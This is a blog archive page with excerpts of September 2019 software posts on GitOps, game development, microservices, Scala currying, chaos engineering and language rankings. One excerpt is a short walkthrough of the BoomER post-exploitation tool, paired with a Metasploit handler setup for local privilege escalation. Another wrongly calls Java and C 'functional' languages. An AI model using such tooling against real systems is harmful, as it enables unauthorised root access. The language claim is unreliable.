Posts

Showing posts from September, 2019

An Inside Look at GitOps

At a time when variations on DevOps abound, get ready for the latest: GitOps. This new term promises to bring some order to what can be operational chaos and empower operational teams to leverage best practices learned from their developer counterparts. It’s early days yet for GitOps, but here’s what we think you need to understand about this new facet of DevOps. What is GitOps? Everyone we spoke with has a slightly different perspective on GitOps, but this is our take: In its most basic form, GitOps is infrastructure and operational procedures defined as code, and living in a source control system, such as Git. Git becomes the single source of truth for what is running in production (or staging, or development). Declarative systems, such as Terraform, AWS CloudFormation and Kubernetes help enable this practice; but operations is much more than Infrastructure as Code. True operations requires a way to plan, review and approve moves, adds and changes to the infrastructure. I

How to Get Started with Game Development?

Image
How would you feel if you could change your reality and create a whole new one? A reality which is maybe based in space with asteroids attacking a spaceship! Or maybe a reality-based in the ocean where you try to fight pirates! Well, creating a new reality is not possible in the real world but it is definitely possible in the world of  Game Development . And the popularity of Game Development is only increasing. This can be because video games are becoming more and more popular and people now want to not only participate in these worlds but also create them!!! So if you want to know How to Get Started with Game Development, this article is perfect for you as it will teach you the basics and provide you with various resources that will take you further on your journey. Let’s begin with understanding what is Game Development and then move on to more complex topics. What is Game Development? Simply speaking, Game Development is the overall process of creating a video game. And if

Why unified programming is the future of application development

Image
Moving an application to a new processor type or chip vendor means creating an entirely new code base. That extra cost and delay is never welcome – especially today, when organizations face intense pressure to quickly maximize the value of data and commercial offerings, and new workloads and processor options to handle them are exploding. As the  world’s data-centric workloads become larger  and more diverse, so do architectures that can best process them. A recent McKinsey  report  shows the diversification of preferred compute architectures through 2025. For both data center and edge computing, big growth is expected in the use of ASICs (application specific integrated circuits) and FPGAs (field programmable gate arrays), adding to the current lineup consisting predominantly of CPUs and GPUs. Organizations and individuals looking to extract the greatest value from their data, while minimizing development times and cost, can benefit from a heterogenous compute strategy support

BoomER | An Open Source Post-Exploitation Tool To Exploit Local Vulnerabilities

BoomER is a Command-line interface python open-source framework fully developed in Python 3.X for post-exploitation of targets with the objective to exploit local vulnerabilities on the big three OS’s (Windows/Linux/Mac). The tool allows for interaction with third-party software like Metasploit to chain attacks together. Installation 1 – Go to the Github Repository 2 – git clone https://github.com/Josue87/BoomER 2 – cd BoomER 3 – Install requirements depends on your system OS Since I’m using Kali I will sudo pip3 install -r linuxrequirements.txt Usage To explain the usage of BoomER in this example we use Metasploit and try to perform a local exploitation attack on Kali using normal user privileges 1 – We launch Metasploit with the command msfconsole or msfdb run 1.1 we type use exploit/multi/handler 1.2 set LHOSt {yourip} 1.3 set LPORT {yourport} 2 – we launch BoomER with the command python3 boomer.py 2.1 Loading Linux module and the payload load linux/elevation/screen_exploit put payl

Fullstack Programming: A Prelude To Failure

Image
Introduction: If you are part of this new-old fashionable “appellation” of considering yourself a “fullstack programmer”, or maintain any of the myriad of titles which places you in charge of technology (e.g. CTO, VP R&D, Technology Leader etc.) you owe it to yourselves and your company to take just a few minutes to read this article.  I do apologize at the outset if you personally feel this article impugns your capabilities.  However, before you fly into a rage, foam at the mouth, go bonkers and dis this whole article based upon the title and your adherence to the “fullstack” mentality — let’s first try to define and understand the actual dilemma surrounding the fullstack programming vision. I cannot pinpoint when the term “fullstack” became widely used as a description for a programming position. It is like so many other terms out there that fade in and out with time. For instance, the term “DevOps” which has become extremely popular represents in its most basic format the et

Best Practices for Event-Driven Microservice Architecture

If you’re an enterprise architect, you’ve probably heard of and worked with a microservices architecture. And while you might have used REST as your service communications layer in the past, more and more projects are moving to an event-driven architecture. Let’s dive into the pros and cons of this popular architecture, some of the key design choices it entails, and common anti-patterns. What is Event-Driven Microservice Architecture? In event-driven architecture, when a service performs some piece of work that other services might be interested in, that service produces an  event —a record of the performed action. Other services consume those events so that they can perform any of their own tasks needed as a result of the event. Unlike with REST, services that create requests do not need to know the details of the services consuming the requests.  Here’s a simple example: When an order is placed on an ecommerce site, a single “order placed” event is produced and then consu

Currying Functions in Scala

Currying is named after Haskell Curry, an American mathematician. He is known for his work in combinatory logic. Currying is a means of transforming a function that takes more than one argument into a chain of calls to functions, each of which takes a single argument. Let us consider the function below to calculate the final price of the product. The function takes in 3 parameters: VAT (vat) for the region Service charge (serviceCharge) of the shop Product price (productPrice) def finalPrice(vat: Double, serviceCharge: Double, productPrice: Double): Double = productPrice + productPrice*serviceCharge/100 + productPrice*vat/100 But if you think about the function finalPrice again, a shopkeeper has to provide all the above values time and again whenever he wants to calculate the final price. Of course, that ignores the fact that the values of: VAT is already defined for a country Service charge for a shop is constant So we will try to make life of our client a

Chaos Engineering: A Comprehensive Guide

Before we set any background for an explanation of the term " chaos engineering ," we believe that you must possess some knowledge regarding the importance of testing in the software development cycle. This quote explains the importance of a bunch of good software test cases: “No amount of testing can prove software right; a single test can prove software wrong.”— Amir Ghahrai That’s where intelligent test cases and concepts come into the picture. In this time of incremental releases and agile development, continuous examination of software is imperative to offer a seamless, faultless, and consistent experience to the users. At present, tech organizations are implementing modern and automated ways to test software thoroughly and completely. Taking modern tech infrastructure and distributed systems in an account, testing seems trickier and more difficult to examine it from every standpoint of view. Therefore, organizations are developing smarter ways to test

What Functional Programming Language is Best to Learn Now?

Image
According to the TIOBE Index for August 2019 ,  Java  is still the top  functional programming language  skill most software development industry professionals are focusing on. C,  C++ , and  Python  aren’t far behind, either. But does this list necessarily mean that Java is the best programming language to learn when you’re just starting out? (Read  Top 5 Programming Languages For Machine Learning .) Even if it is, does it make sense to learn that now if Python or another programming language like  Groovy  suddenly makes a giant leap as the must-learn language of the present and future? TIOBE reflected a 31-spot jump in the rankings for Groovy (up to 13th from 44th). Tech moves fast! Stay ahead of the curve with Techopedia! Join nearly 200,000 subscribers who receive actionable tech insights from Techopedia. Is there or will there ever be a one-size-fits-all language that will become universal amongst all software development strategies? These answers are better